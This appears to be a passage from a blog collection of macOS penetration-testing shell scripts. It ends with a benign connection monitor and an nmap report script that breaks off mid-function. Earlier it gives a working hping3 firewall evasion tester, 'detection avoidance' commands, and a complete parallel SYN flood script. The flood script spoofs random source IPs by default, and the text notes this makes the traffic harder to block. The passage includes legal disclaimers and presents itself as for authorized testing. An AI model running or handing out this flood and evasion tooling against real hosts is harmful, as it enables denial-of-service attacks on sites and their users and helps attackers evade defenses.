    result5=$(hping3 -F -p $port -c 1 $target 2>&1)
    echo "$result5"
    if ! echo "$result5" | grep -q "flags=R" && ! echo "$result5" | grep -q "ICMP"; then
        echo "✅ FIN SCAN: Potential bypass (no response)"
    else
        echo "❌ FIN SCAN: No bypass detected"
    fi
    echo ""
    
    # Test 6: NULL scan
    echo "🔍 Test 6: NULL Scan Evasion"
    echo "============================"
    result6=$(hping3 -p $port -c 1 $target 2>&1)
    echo "$result6"
    if ! echo "$result6" | grep -q "flags=R" && ! echo "$result6" | grep -q "ICMP"; then
        echo "✅ NULL SCAN: Potential bypass (no response)"
    else
        echo "❌ NULL SCAN: No bypass detected"
    fi
    echo ""
    
    # Test 7: XMAS scan
    echo "🔍 Test 7: XMAS Scan Evasion"
    echo "============================"
    result7=$(hping3 -F -P -U -p $port -c 1 $target 2>&1)
    echo "$result7"
    if ! echo "$result7" | grep -q "flags=R" && ! echo "$result7" | grep -q "ICMP"; then
        echo "✅ XMAS SCAN: Potential bypass (no response)"
    else
        echo "❌ XMAS SCAN: No bypass detected"
    fi
    echo ""
    
    # Test 8: Random source addresses
    echo "🔍 Test 8: Random Source Address"
    echo "================================"
    result8=$(hping3 -S -p $port --rand-source -c 3 $target 2>&1)
    echo "$result8"
    if echo "$result8" | grep -q "flags=SA"; then
        echo "✅ RANDOM SOURCE: Bypass successful!"
    else
        echo "❌ RANDOM SOURCE: No bypass detected"
    fi
    echo ""
    
    # Summary
    echo "📊 Evasion Test Summary"
    echo "======================="
    echo "Target: $target:$port"
    echo "Tests completed: 8"
    echo ""
    echo "Potential bypasses detected:"
    [[ "$result2" =~ "flags=SA" ]] && echo "  ✅ DNS source port spoofing"
    [[ "$result3" =~ "flags=SA" ]] && echo "  ✅ FTP-DATA source port spoofing"
    [[ "$result4" =~ "flags=SA" ]] && echo "  ✅ Packet fragmentation"
    [[ ! "$result5" =~ "flags=R" && ! "$result5" =~ "ICMP" ]] && echo "  ✅ FIN scan stealth"
    [[ ! "$result6" =~ "flags=R" && ! "$result6" =~ "ICMP" ]] && echo "  ✅ NULL scan stealth"
    [[ ! "$result7" =~ "flags=R" && ! "$result7" =~ "ICMP" ]] && echo "  ✅ XMAS scan stealth"
    [[ "$result8" =~ "flags=SA" ]] && echo "  ✅ Random source addressing"
    
    echo ""
    echo "🔒 Recommendations:"
    echo "  - Review firewall rules for source port filtering"
    echo "  - Enable stateful packet inspection"
    echo "  - Configure fragment reassembly"
    echo "  - Monitor for stealth scan patterns"
}

if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
    firewall_evasion_test "$@"
fi
EOF

chmod +x ~/hping3-scripts/firewall_evasion_test.sh

How to Run:


# Test firewall evasion on port 80
sudo ~/hping3-scripts/firewall_evasion_test.sh example.com

# Test firewall evasion on HTTPS port
sudo ~/hping3-scripts/firewall_evasion_test.sh example.com 443

Evasion Techniques Tested:
 1. **Baseline SYN scan**: Normal connection attempt
2. **DNS source port spoofing**: Uses port 53 as source
3. **FTP-DATA source port spoofing**: Uses port 20 as source
4. **Packet fragmentation**: Splits packets to evade inspection
5. **FIN scan**: Uses FIN flag for stealth
6. **NULL scan**: No flags set for evasion
7. **XMAS scan**: Multiple flags for confusion
8. **Random source addressing**: Obscures attack origin

Important Usage Notes:

macOS-Specific Considerations:
– **Root privileges required**: Most scripts need `sudo` for raw socket access
– **Process limits**: macOS limits concurrent processes, scripts include throttling
– **Firewall interference**: macOS firewall may block outgoing packets
– **Network interfaces**: Scripts auto-detect primary interface

Performance Optimization:
 – Use appropriate delays to avoid overwhelming targets
– Limit concurrent processes on macOS (typically 20-50)
– Monitor system resources during intensive scans
– Use temporary files for result collection

Detection Avoidance:

# Slow scanning to avoid detection
sudo ~/hping3-scripts/tcp_syn_scan.sh example.com 1 100 5

# Random timing patterns
sudo ~/hping3-scripts/source_port_scan.sh example.com 80 53 1

Integration with Other Tools:

# Combine with nmap for verification
sudo ~/hping3-scripts/common_ports_scan.sh example.com
nmap -sS example.com

# Use with tcpdump for packet analysis
sudo tcpdump -i en0 host example.com &
sudo ~/hping3-scripts/tcp_syn_ping.sh example.com

# Solution: Use sudo for raw socket access
sudo ~/hping3-scripts/script_name.sh

Command Not Found:


# Solution: Verify hping3 installation
brew install hping
which hping3

Network Interface Issues:


# Solution: Specify interface manually
hping3 -I en0 -S -p 80 example.com

Script Debugging:


# Enable verbose output
set -x
source ~/hping3-scripts/script_name.sh

# Check script syntax
zsh -n ~/hping3-scripts/script_name.sh

Legal and Ethical Guidelines:

Before You Begin:
– ✅ Obtain written authorization from system owners
– ✅ Define clear scope and boundaries
– ✅ Establish communication channels
– ✅ Plan for incident response
– ✅ Document all activities

During Testing:
– 🔍 Monitor system impact continuously
– ⏸️ Stop immediately if unauthorized access is gained
– 📝 Document all findings and methods
– 🚫 Do not access or modify data
– ⚠️ Report critical vulnerabilities promptly

After Testing:
– 📋 Provide comprehensive reports
– 🗑️ Securely delete all collected data
– 🤝 Follow responsible disclosure practices
– 📚 Share lessons learned (with permission)

Conclusion

This comprehensive hping3 guide provides 10 essential penetration testing scripts specifically optimized for macOS systems. Each script includes detailed explanations, parameter descriptions, and practical examples using example.com as the target.

Key Takeaways:
– **Authorization is mandatory** – Never test without explicit permission
– **macOS optimization** – Scripts include platform-specific considerations
– **Comprehensive coverage** – From basic discovery to advanced evasion
– **Safety features** – Built-in protections and confirmation prompts
– **Educational value** – Detailed explanations for learning

Next Steps:
1. Set up your macOS environment with the installation steps
2. Create the script directory and download the scripts
3. Practice on authorized targets or lab environments
4. Integrate with other security tools for comprehensive testing
5. Develop your own custom scripts based on these examples

Remember: These tools are powerful and should be used responsibly. Always prioritize ethical considerations and legal compliance in your security testing activities.

Official Documentation:
– [hping3 Official Website](http://www.hping.org/)
– [hping3 Manual Page](https://linux.die.net/man/8/hping3)

Related Tools:
– **nmap**: Network discovery and port scanning
– **masscan**: High-speed port scanner
– **zmap**: Internet-wide network scanner
– **tcpdump**: Packet capture and analysis

Learning Resources:
– OWASP Testing Guide
– NIST Cybersecurity Framework
– CEH (Certified Ethical Hacker) materials
– OSCP (Offensive Security Certified Professional) training

Script Summary Table:

| Script | Purpose | Key Features |
|——–|———|————–|
| `icmp_ping.sh` | Basic host discovery | ICMP connectivity testing |
| `icmp_sweep.sh` | Network enumeration | Bulk host discovery |
| `tcp_syn_ping.sh` | Firewall-resistant discovery | TCP-based host detection |
| `tcp_syn_scan.sh` | Port scanning | Stealth SYN scanning |
| `common_ports_scan.sh` | Service discovery | Predefined port lists |
| `fin_scan.sh` | Stealth scanning | FIN flag evasion |
| `source_port_scan.sh` | Firewall bypass | Source port spoofing |
| `syn_flood_attack.sh` | DoS testing | Multi-process flooding |
| `network_discovery.sh` | Comprehensive recon | Combined techniques |
| `firewall_evasion_test.sh` | Security testing | Multiple evasion methods |

This guide provides everything needed to perform professional-grade penetration testing with hping3 on macOS systems while maintaining ethical and legal standards.

Testing your sites SYN flood resistance using hping3 in parallel

A SYN flood test using hping3 that allows you to specify the number of SYN packets to send and scales horizontally with a specific number of processes can be created using a Bash script with the xargs command. This approach allows you to distribute the workload across multiple processes for better performance.

The Script

This script uses hping3 to perform a SYN flood attack with a configurable packet count and number of parallel processes.

cat > ./syn_flood_parallel.sh << 'EOF'
#!/bin/bash

# A simple script to perform a SYN flood test using hping3,
# with configurable packet count, parallel processes, and optional source IP randomization.

# --- Configuration ---
TARGET_IP=$1
TARGET_PORT=$2
PACKET_COUNT_TOTAL=$3
PROCESSES=$4
RANDOMIZE_SOURCE=${5:-true}  # Default to true if not specified

# --- Usage Message ---
if [ -z "$TARGET_IP" ] || [ -z "$TARGET_PORT" ] || [ -z "$PACKET_COUNT_TOTAL" ] || [ -z "$PROCESSES" ]; then
    echo "Usage: $0 <TARGET_IP> <TARGET_PORT> <PACKET_COUNT_TOTAL> <PROCESSES> [RANDOMIZE_SOURCE]"
    echo ""
    echo "Parameters:"
    echo "  TARGET_IP           - Target IP address or hostname"
    echo "  TARGET_PORT         - Target port number (1-65535)"
    echo "  PACKET_COUNT_TOTAL  - Total number of SYN packets to send"
    echo "  PROCESSES           - Number of parallel processes (2-10 recommended)"
    echo "  RANDOMIZE_SOURCE    - true/false (optional, default: true)"
    echo ""
    echo "Examples:"
    echo "  $0 192.168.1.1 80 100000 4           # With randomized source IPs (default)"
    echo "  $0 192.168.1.1 80 100000 4 true      # Explicitly enable source IP randomization"
    echo "  $0 192.168.1.1 80 100000 4 false     # Use actual source IP (no randomization)"
    exit 1
fi

# --- Main Logic ---
echo "========================================"
echo "Starting SYN flood test on $TARGET_IP:$TARGET_PORT"
echo "Sending $PACKET_COUNT_TOTAL SYN packets with $PROCESSES parallel processes."
echo "Source IP randomization: $RANDOMIZE_SOURCE"
echo "========================================"

# Calculate packets per process
PACKETS_PER_PROCESS=$((PACKET_COUNT_TOTAL / PROCESSES))

# Build hping3 command based on randomization option
if [ "$RANDOMIZE_SOURCE" = "true" ]; then
    echo "Using randomized source IPs (--rand-source)"
    # Use seq and xargs to parallelize the hping3 command with random source IPs
    seq 1 $PROCESSES | xargs -I {} -P $PROCESSES bash -c "hping3 -S -p $TARGET_PORT --rand-source --fast -c $PACKETS_PER_PROCESS $TARGET_IP"
else
    echo "Using actual source IP (no randomization)"
    # Use seq and xargs to parallelize the hping3 command without source randomization
    seq 1 $PROCESSES | xargs -I {} -P $PROCESSES bash -c "hping3 -S -p $TARGET_PORT --fast -c $PACKETS_PER_PROCESS $TARGET_IP"
fi

echo ""
echo "========================================"
echo "SYN flood test complete."
echo "Total packets sent: $PACKET_COUNT_TOTAL"
echo "========================================"

EOF

chmod +x ./syn_flood_parallel.sh

Example Usauge:

# Default behavior - randomized source IPs (parameter 5 defaults to true)
./syn_flood_parallel.sh 192.168.1.1 80 10000 4

# Explicitly enable source IP randomization
./syn_flood_parallel.sh 192.168.1.1 80 10000 4 true

# Disable source IP randomization (use actual source IP)
./syn_flood_parallel.sh 192.168.1.1 80 10000 4 false

# High-volume test with randomized IPs
./syn_flood_parallel.sh example.com 443 100000 8 true

# Test without IP randomization (easier to trace/debug)
./syn_flood_parallel.sh testserver.local 22 5000 2 false

Explanation of the Parameters:

Parameter 1: TARGET_IP

  • The target IP address or hostname
  • Examples: 192.168.1.1, example.com, 10.0.0.5

Parameter 2: TARGET_PORT

  • The target port number (1-65535)
  • Common: 80 (HTTP), 443 (HTTPS), 22 (SSH), 8080

Parameter 3: PACKET_COUNT_TOTAL

  • Total number of SYN packets to send
  • Range: Any positive integer (e.g., 1000 to 1000000)

Parameter 4: PROCESSES

  • Number of parallel hping3 processes to spawn
  • Recommended: 2-10 (depending on CPU cores)

Parameter 5: RANDOMIZE_SOURCE (OPTIONAL)

  • true: Use randomized source IPs (–rand-source flag)
    Makes packets appear from random IPs, harder to block
  • false: Use actual source IP (no randomization)
    Easier to trace and debug, simpler firewall rules
  • Default: true (if parameter not specified)

Important Considerations ⚠️

• Permissions: hping3 requires root or superuser privileges to craft and send raw packets. You’ll need to run this script with sudo.

• Legal and Ethical Use: This tool is for ethical and educational purposes only. Using this script to perform a SYN flood attack on a network or system you do not own or have explicit permission to test is illegal. Use it in a controlled lab environment.

Macbook: Return a list of processes using a specific remote port number

I find this script useful for debugging which processes are talking to which remote port.

cat > ~/netmon.sh << 'EOF'
#!/bin/zsh

# Network Connection Monitor with Color Coding
# Shows TCP/UDP connections with state and process info
# Refreshes every 5 seconds
# Usage: ./netmon.sh [--port PORT] [--ip IP_ADDRESS]

# Parse command line arguments
FILTER_PORT=""
FILTER_IP=""

while [[ $# -gt 0 ]]; do
    case $1 in
        --port|-p)
            FILTER_PORT="$2"
            shift 2
            ;;
        --ip|-i)
            FILTER_IP="$2"
            shift 2
            ;;
        --help|-h)
            echo "Usage: $0 [OPTIONS]"
            echo "Options:"
            echo "  --port, -p PORT    Filter by remote port"
            echo "  --ip, -i IP        Filter by remote IP address"
            echo "  --help, -h         Show this help message"
            echo ""
            echo "Examples:"
            echo "  $0 --port 443      Show only connections to port 443"
            echo "  $0 --ip 1.1.1.1    Show only connections to IP 1.1.1.1"
            echo "  $0 -p 80 -i 192.168.1.1  Show connections to 192.168.1.1:80"
            exit 0
            ;;
        *)
            echo "Unknown option: $1"
            echo "Use --help for usage information"
            exit 1
            ;;
    esac
done

# Color definitions
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
MAGENTA='\033[0;35m'
CYAN='\033[0;36m'
WHITE='\033[1;37m'
GRAY='\033[0;90m'
NC='\033[0m' # No Color
BOLD='\033[1m'

# Function to get process name from PID
get_process_name() {
    local pid=$1
    if [ "$pid" != "-" ] && [ "$pid" != "0" ] && [ -n "$pid" ]; then
        ps -p "$pid" -o comm= 2>/dev/null || echo "unknown"
    else
        echo "-"
    fi
}

# Function to color-code based on state
get_state_color() {
    local state=$1
    case "$state" in
        "ESTABLISHED")
            echo "${GREEN}"
            ;;
        "LISTEN")
            echo "${BLUE}"
            ;;
        "TIME_WAIT")
            echo "${YELLOW}"
            ;;
        "CLOSE_WAIT")
            echo "${MAGENTA}"
            ;;
        "SYN_SENT"|"SYN_RCVD")
            echo "${CYAN}"
            ;;
        "FIN_WAIT"*)
            echo "${GRAY}"
            ;;
        "CLOSING"|"LAST_ACK")
            echo "${RED}"
            ;;
        *)
            echo "${WHITE}"
            ;;
    esac
}

# Function to split address into IP and port
split_address() {
    local addr=$1
    local ip=""
    local port=""
    
    if [[ "$addr" == "*"* ]]; then
        ip="*"
        port="*"
    elif [[ "$addr" =~ ^([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\.([0-9]+)$ ]]; then
        # IPv4 address with port (format: x.x.x.x.port)
        ip="${match[1]}"
        port="${match[2]}"
    elif [[ "$addr" =~ ^(.*):([0-9]+)$ ]]; then
        # Handle IPv6 format or hostname:port
        ip="${match[1]}"
        port="${match[2]}"
    elif [[ "$addr" =~ ^(.*)\.(well-known|[a-z]+)$ ]]; then
        # Handle named services
        ip="${match[1]}"
        port="${match[2]}"
    else
        ip="$addr"
        port="-"
    fi
    
    echo "$ip|$port"
}

# Function to check if connection matches filters
matches_filter() {
    local remote_ip=$1
    local remote_port=$2
    
    # Check port filter
    if [ -n "$FILTER_PORT" ] && [ "$remote_port" != "$FILTER_PORT" ]; then
        return 1
    fi
    
    # Check IP filter
    if [ -n "$FILTER_IP" ]; then
        # Handle partial IP matching
        if [[ "$remote_ip" != *"$FILTER_IP"* ]]; then
            return 1
        fi
    fi
    
    return 0
}

# Function to display connections
show_connections() {
    clear
    
    # Header
    echo -e "${BOLD}${WHITE}=== Network Connections Monitor ===${NC}"
    echo -e "${BOLD}${WHITE}$(date '+%Y-%m-%d %H:%M:%S')${NC}"
    
    # Show active filters
    if [ -n "$FILTER_PORT" ] || [ -n "$FILTER_IP" ]; then
        echo -e "${YELLOW}Active Filters:${NC}"
        [ -n "$FILTER_PORT" ] && echo -e "  Remote Port: ${BOLD}$FILTER_PORT${NC}"
        [ -n "$FILTER_IP" ] && echo -e "  Remote IP: ${BOLD}$FILTER_IP${NC}"
    fi
    echo ""
    
    # Legend
    echo -e "${BOLD}Color Legend:${NC}"
    echo -e "  ${GREEN}●${NC} ESTABLISHED    ${BLUE}●${NC} LISTEN         ${YELLOW}●${NC} TIME_WAIT"
    echo -e "  ${CYAN}●${NC} SYN_SENT/RCVD  ${MAGENTA}●${NC} CLOSE_WAIT     ${RED}●${NC} CLOSING/LAST_ACK"
    echo -e "  ${GRAY}●${NC} FIN_WAIT       ${WHITE}●${NC} OTHER/UDP"
    echo ""
    
    # Table header
    printf "${BOLD}%-6s %-22s %-22s %-7s %-12s %-8s %-30s${NC}\n" \
        "PROTO" "LOCAL ADDRESS" "REMOTE IP" "R.PORT" "STATE" "PID" "PROCESS"
    echo "$(printf '%.0s-' {1..120})"
    
    # Temporary file for storing connections
    TMPFILE=$(mktemp)
    
    # Get TCP connections with netstat
    # Note: On macOS, we need sudo to see process info for all connections
    if command -v sudo >/dev/null 2>&1; then
        # Try with sudo first (will show all processes)
        sudo netstat -anp tcp 2>/dev/null | grep -E '^tcp' > "$TMPFILE" 2>/dev/null || \
        netstat -an -p tcp 2>/dev/null | grep -E '^tcp' > "$TMPFILE"
    else
        netstat -an -p tcp 2>/dev/null | grep -E '^tcp' > "$TMPFILE"
    fi
    
    # Process TCP connections
    while IFS= read -r line; do
        # Parse netstat output (macOS format)
        proto=$(echo "$line" | awk '{print $1}')
        local_addr=$(echo "$line" | awk '{print $4}')
        remote_addr=$(echo "$line" | awk '{print $5}')
        state=$(echo "$line" | awk '{print $6}')
        
        # Split remote address into IP and port
        IFS='|' read -r remote_ip remote_port <<< "$(split_address "$remote_addr")"
        
        # Apply filters
        if ! matches_filter "$remote_ip" "$remote_port"; then
            continue
        fi
        
        # Try to get PID using lsof for the local address
        if [[ "$local_addr" =~ ^([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\.([0-9]+)$ ]]; then
            port="${match[2]}"
        elif [[ "$local_addr" =~ '^\*\.([0-9]+)$' ]]; then
            port="${match[1]}"
        elif [[ "$local_addr" =~ ^([0-9a-f:]+)\.([0-9]+)$ ]]; then
            port="${match[2]}"
            # Use lsof to find the PID
            pid=$(sudo lsof -i TCP:$port -sTCP:$state 2>/dev/null | grep -v PID | head -1 | awk '{print $2}')
            if [ -z "$pid" ]; then
                pid="-"
                process="-"
            else
                process=$(get_process_name "$pid")
            fi
        else
            pid="-"
            process="-"
        fi
        
        # Get color based on state
        color=$(get_state_color "$state")
        
        # Format and print
        printf "${color}%-6s %-22s %-22s %-7s %-12s %-8s %-30s${NC}\n" \
            "$proto" \
            "${local_addr:0:22}" \
            "${remote_ip:0:22}" \
            "${remote_port:0:7}" \
            "$state" \
            "$pid" \
            "${process:0:30}"
    done < "$TMPFILE"
    
    # Get UDP connections
    echo ""
    if command -v sudo >/dev/null 2>&1; then
        sudo netstat -anp udp 2>/dev/null | grep -E '^udp' > "$TMPFILE" 2>/dev/null || \
        netstat -an -p udp 2>/dev/null | grep -E '^udp' > "$TMPFILE"
    else
        netstat -an -p udp 2>/dev/null | grep -E '^udp' > "$TMPFILE"
    fi
    
    # Process UDP connections
    while IFS= read -r line; do
        # Parse netstat output for UDP
        proto=$(echo "$line" | awk '{print $1}')
        local_addr=$(echo "$line" | awk '{print $4}')
        remote_addr=$(echo "$line" | awk '{print $5}')
        
        # Split remote address into IP and port
        IFS='|' read -r remote_ip remote_port <<< "$(split_address "$remote_addr")"
        
        # Apply filters
        if ! matches_filter "$remote_ip" "$remote_port"; then
            continue
        fi
        
        # UDP doesn't have state
        state="*"
        
        # Try to get PID using lsof for the local address
        if [[ "$local_addr" =~ ^([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\.([0-9]+)$ ]]; then
            port="${match[2]}"
        elif [[ "$local_addr" =~ '^\*\.([0-9]+)$' ]]; then
            port="${match[1]}"
        elif [[ "$local_addr" =~ ^([0-9a-f:]+)\.([0-9]+)$ ]]; then
            port="${match[2]}"
            # Use lsof to find the PID
            pid=$(sudo lsof -i UDP:$port 2>/dev/null | grep -v PID | head -1 | awk '{print $2}')
            if [ -z "$pid" ]; then
                pid="-"
                process="-"
            else
                process=$(get_process_name "$pid")
            fi
        else
            pid="-"
            process="-"
        fi
        
        # White color for UDP
        printf "${WHITE}%-6s %-22s %-22s %-7s %-12s %-8s %-30s${NC}\n" \
            "$proto" \
            "${local_addr:0:22}" \
            "${remote_ip:0:22}" \
            "${remote_port:0:7}" \
            "$state" \
            "$pid" \
            "${process:0:30}"
    done < "$TMPFILE"
    
    # Clean up
    rm -f "$TMPFILE"
    
    # Footer
    echo ""
    echo "$(printf '%.0s-' {1..120})"
    echo -e "${BOLD}Press Ctrl+C to exit${NC} | Refreshing every 5 seconds..."
    
    # Show filter hint if no filters active
    if [ -z "$FILTER_PORT" ] && [ -z "$FILTER_IP" ]; then
        echo -e "${GRAY}Tip: Use --port PORT or --ip IP to filter connections${NC}"
    fi
}

# Trap Ctrl+C to exit cleanly
trap 'echo -e "\n${BOLD}Exiting...${NC}"; exit 0' INT

# Main loop
echo -e "${BOLD}${CYAN}Starting Network Connection Monitor...${NC}"
echo -e "${YELLOW}Note: Run with sudo for complete process information${NC}"

# Show active filters on startup
if [ -n "$FILTER_PORT" ] || [ -n "$FILTER_IP" ]; then
    echo -e "${GREEN}Filtering enabled:${NC}"
    [ -n "$FILTER_PORT" ] && echo -e "  Remote Port: ${BOLD}$FILTER_PORT${NC}"
    [ -n "$FILTER_IP" ] && echo -e "  Remote IP: ${BOLD}$FILTER_IP${NC}"
fi

sleep 2

while true; do
    show_connections
    sleep 5
done
EOF

chmod +x ~/netmon.sh

Example Usuage:

# Show all connections
./netmon.sh

# Filter by port
./netmon.sh --port 443

# Filter by IP
./netmon.sh --ip 142.251

# Run with sudo for full process information
sudo ./netmon.sh --port 443

Macbook: Useful/Basic NMAP script to check for vulnerabilities and create a formatted report

If you want to quickly health check your website, then the following script is a simple NMAP script that scans your site for common issues and formats the results in a nice report style.

#!/bin/bash

# Nmap Vulnerability Scanner with Severity Grouping, TLS checks, and Directory Discovery
# Usage: ./vunscan.sh <target_domain>

# Colors for output
RED='\033[0;31m'
ORANGE='\033[0;33m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
GREEN='\033[0;32m'
NC='\033[0m' # No Color

# Check if target is provided
if [ $# -eq 0 ]; then
    echo "Usage: $0 <target_domain>"
    echo "Example: $0 example.com"
    exit 1
fi

TARGET=$1
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
OUTPUT_DIR="vuln_scan_${TARGET}_${TIMESTAMP}"
RAW_OUTPUT="${OUTPUT_DIR}/raw_scan.xml"
OPEN_PORTS=""

# Debug output
echo "DEBUG: TARGET=$TARGET"
echo "DEBUG: TIMESTAMP=$TIMESTAMP"
echo "DEBUG: OUTPUT_DIR=$OUTPUT_DIR"
echo "DEBUG: RAW_OUTPUT=$RAW_OUTPUT"

# Create output directory
mkdir -p "$OUTPUT_DIR"
if [ ! -d "$OUTPUT_DIR" ]; then
    echo -e "${RED}Error: Failed to create output directory $OUTPUT_DIR${NC}"
    exit 1
fi

echo "================================================================"
echo "         Vulnerability Scanner for $TARGET"
echo "================================================================"
echo "Scan started at: $(date)"
echo "Results will be saved in: $OUTPUT_DIR"
echo ""

# Function to print section headers
print_header() {
    echo -e "\n${BLUE}================================================================${NC}"
    echo -e "${BLUE}$1${NC}"
    echo -e "${BLUE}================================================================${NC}"
}

# Function to run nmap scan
run_scan() {
    print_header "Running Comprehensive Vulnerability Scan"
    echo "This may take several minutes…"
    
    # First, determine which ports are open
    echo "Phase 1: Port discovery..."
    echo "Scanning for open ports (this may take a while)..."
    
    # Try a faster scan first on common ports
    nmap -p 1-1000,8080,8443,3306,5432,27017 --open -T4 "$TARGET" -oG "${OUTPUT_DIR}/open_ports_quick.txt" 2>/dev/null
    
    # If user wants full scan, uncomment the next line and comment the previous one
    # nmap -p- --open -T4 "$TARGET" -oG "${OUTPUT_DIR}/open_ports.txt" 2>/dev/null
    
    # Extract open ports
    if [ -f "${OUTPUT_DIR}/open_ports_quick.txt" ]; then
        OPEN_PORTS=$(grep -oE '[0-9]+/open' "${OUTPUT_DIR}/open_ports_quick.txt" 2>/dev/null | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
    fi
    
    # If no ports found, try common web ports
    if [ -z "$OPEN_PORTS" ] || [ "$OPEN_PORTS" = "" ]; then
        echo -e "${YELLOW}Warning: No open ports found in quick scan. Checking common web ports...${NC}"
        
        # Test common ports individually
        COMMON_PORTS="80,443,8080,8443,22,21,25,3306,5432"
        OPEN_PORTS=""
        
        for port in $(echo $COMMON_PORTS | tr ',' ' '); do
            echo -n "Testing port $port... "
            if nmap -p $port --open "$TARGET" 2>/dev/null | grep -q "open"; then
                echo "open"
                if [ -z "$OPEN_PORTS" ]; then
                    OPEN_PORTS="$port"
                else
                    OPEN_PORTS="$OPEN_PORTS,$port"
                fi
            else
                echo "closed/filtered"
            fi
        done
    fi
    
    # Final fallback
    if [ -z "$OPEN_PORTS" ] || [ "$OPEN_PORTS" = "" ]; then
        echo -e "${YELLOW}Warning: No open ports detected. Using default web ports for scanning.${NC}"
        OPEN_PORTS="80,443"
    fi
    
    echo ""
    echo "Ports to scan: $OPEN_PORTS"
    echo ""
    
    # Main vulnerability scan with http-vulners-regex
    echo "Phase 2: Vulnerability scanning..."
    nmap -sV -sC --script vuln,http-vulners-regex \
         --script-args vulns.showall,http-vulners-regex.paths={/} \
         -p "$OPEN_PORTS" \
         -oX "$RAW_OUTPUT" \
         -oN "${OUTPUT_DIR}/scan_normal.txt" \
         "$TARGET"
    
    if [ $? -ne 0 ]; then
        echo -e "${RED}Error: Nmap scan failed${NC}"
        # Don't exit, continue with other scans
    fi
}

# Function to parse and categorize vulnerabilities
parse_vulnerabilities() {
    print_header "Parsing and Categorizing Vulnerabilities"
    
    # Initialize arrays
    declare -a critical_vulns=()
    declare -a high_vulns=()
    declare -a medium_vulns=()
    declare -a low_vulns=()
    declare -a info_vulns=()
    
    # Create temporary files for each severity
    CRITICAL_FILE="${OUTPUT_DIR}/critical.tmp"
    HIGH_FILE="${OUTPUT_DIR}/high.tmp"
    MEDIUM_FILE="${OUTPUT_DIR}/medium.tmp"
    LOW_FILE="${OUTPUT_DIR}/low.tmp"
    INFO_FILE="${OUTPUT_DIR}/info.tmp"
    
    # Clear temp files
    > "$CRITICAL_FILE"
    > "$HIGH_FILE"
    > "$MEDIUM_FILE"
    > "$LOW_FILE"
    > "$INFO_FILE"
    
    # Parse XML output for vulnerabilities
    if [ -f "$RAW_OUTPUT" ]; then
        # Extract script output and categorize by common vulnerability indicators
        grep -A 20 '<script id=".*vuln.*"' "$RAW_OUTPUT" | while read line; do
            if echo "$line" | grep -qi "CRITICAL\|CVE.*CRITICAL\|score.*9\|score.*10"; then
                echo "$line" >> "$CRITICAL_FILE"
            elif echo "$line" | grep -qi "HIGH\|CVE.*HIGH\|score.*[7-8]"; then
                echo "$line" >> "$HIGH_FILE"
            elif echo "$line" | grep -qi "MEDIUM\|CVE.*MEDIUM\|score.*[4-6]"; then
                echo "$line" >> "$MEDIUM_FILE"
            elif echo "$line" | grep -qi "LOW\|CVE.*LOW\|score.*[1-3]"; then
                echo "$line" >> "$LOW_FILE"
            elif echo "$line" | grep -qi "INFO\|INFORMATION"; then
                echo "$line" >> "$INFO_FILE"
            fi
        done
        
        # Also parse normal output for vulnerability information
        if [ -f "${OUTPUT_DIR}/scan_normal.txt" ]; then
            # Look for common vulnerability patterns in normal output
            grep -E "(CVE-|VULNERABLE|State: VULNERABLE)" "${OUTPUT_DIR}/scan_normal.txt" | while read vuln_line; do
                if echo "$vuln_line" | grep -qi "critical\|9\.[0-9]\|10\.0"; then
                    echo "$vuln_line" >> "$CRITICAL_FILE"
                elif echo "$vuln_line" | grep -qi "high\|[7-8]\.[0-9]"; then
                    echo "$vuln_line" >> "$HIGH_FILE"
                elif echo "$vuln_line" | grep -qi "medium\|[4-6]\.[0-9]"; then
                    echo "$vuln_line" >> "$MEDIUM_FILE"
                elif echo "$vuln_line" | grep -qi "low\|[1-3]\.[0-9]"; then
                    echo "$vuln_line" >> "$LOW_FILE"
                else
                    echo "$vuln_line" >> "$INFO_FILE"
                fi
            done
        fi
    fi
}

# Function to display vulnerabilities by severity
display_results() {
    print_header "VULNERABILITY SCAN RESULTS"
    
    # Critical Vulnerabilities
    echo -e "\n${RED}🔴 CRITICAL SEVERITY VULNERABILITIES${NC}"
    echo "=================================================="
    if [ -s "${OUTPUT_DIR}/critical.tmp" ]; then
        cat "${OUTPUT_DIR}/critical.tmp" | head -20
        CRITICAL_COUNT=$(wc -l < "${OUTPUT_DIR}/critical.tmp")
        echo -e "${RED}Total Critical: $CRITICAL_COUNT${NC}"
    else
        echo -e "${GREEN}✓ No critical vulnerabilities found${NC}"
    fi
    
    # High Vulnerabilities
    echo -e "\n${ORANGE}🟠 HIGH SEVERITY VULNERABILITIES${NC}"
    echo "============================================="
    if [ -s "${OUTPUT_DIR}/high.tmp" ]; then
        cat "${OUTPUT_DIR}/high.tmp" | head -15
        HIGH_COUNT=$(wc -l < "${OUTPUT_DIR}/high.tmp")
        echo -e "${ORANGE}Total High: $HIGH_COUNT${NC}"
    else
        echo -e "${GREEN}✓ No high severity vulnerabilities found${NC}"
    fi
    
    # Medium Vulnerabilities
    echo -e "\n${YELLOW}🟡 MEDIUM SEVERITY VULNERABILITIES${NC}"
    echo "==============================================="
    if [ -s "${OUTPUT_DIR}/medium.tmp" ]; then
        cat "${OUTPUT_DIR}/medium.tmp" | head -10
        MEDIUM_COUNT=$(wc -l < "${OUTPUT_DIR}/medium.tmp")
        echo -e "${YELLOW}Total Medium: $MEDIUM_COUNT${NC}"
    else
        echo -e "${GREEN}✓ No medium severity vulnerabilities found${NC}"
    fi
    
    # Low Vulnerabilities
    echo -e "\n${BLUE}🔵 LOW SEVERITY VULNERABILITIES${NC}"
    echo "=========================================="
    if [ -s "${OUTPUT_DIR}/low.tmp" ]; then
        cat "${OUTPUT_DIR}/low.tmp" | head -8
        LOW_COUNT=$(wc -l < "${OUTPUT_DIR}/low.tmp")
        echo -e "${BLUE}Total Low: $LOW_COUNT${NC}"
    else
        echo -e "${GREEN}✓ No low severity vulnerabilities found${NC}"
    fi
    
    # Information/Other
    echo -e "\n${GREEN}ℹ️  INFORMATIONAL${NC}"
    echo "========================="
    if [ -s "${OUTPUT_DIR}/info.tmp" ]; then
        cat "${OUTPUT_DIR}/info.tmp" | head -5
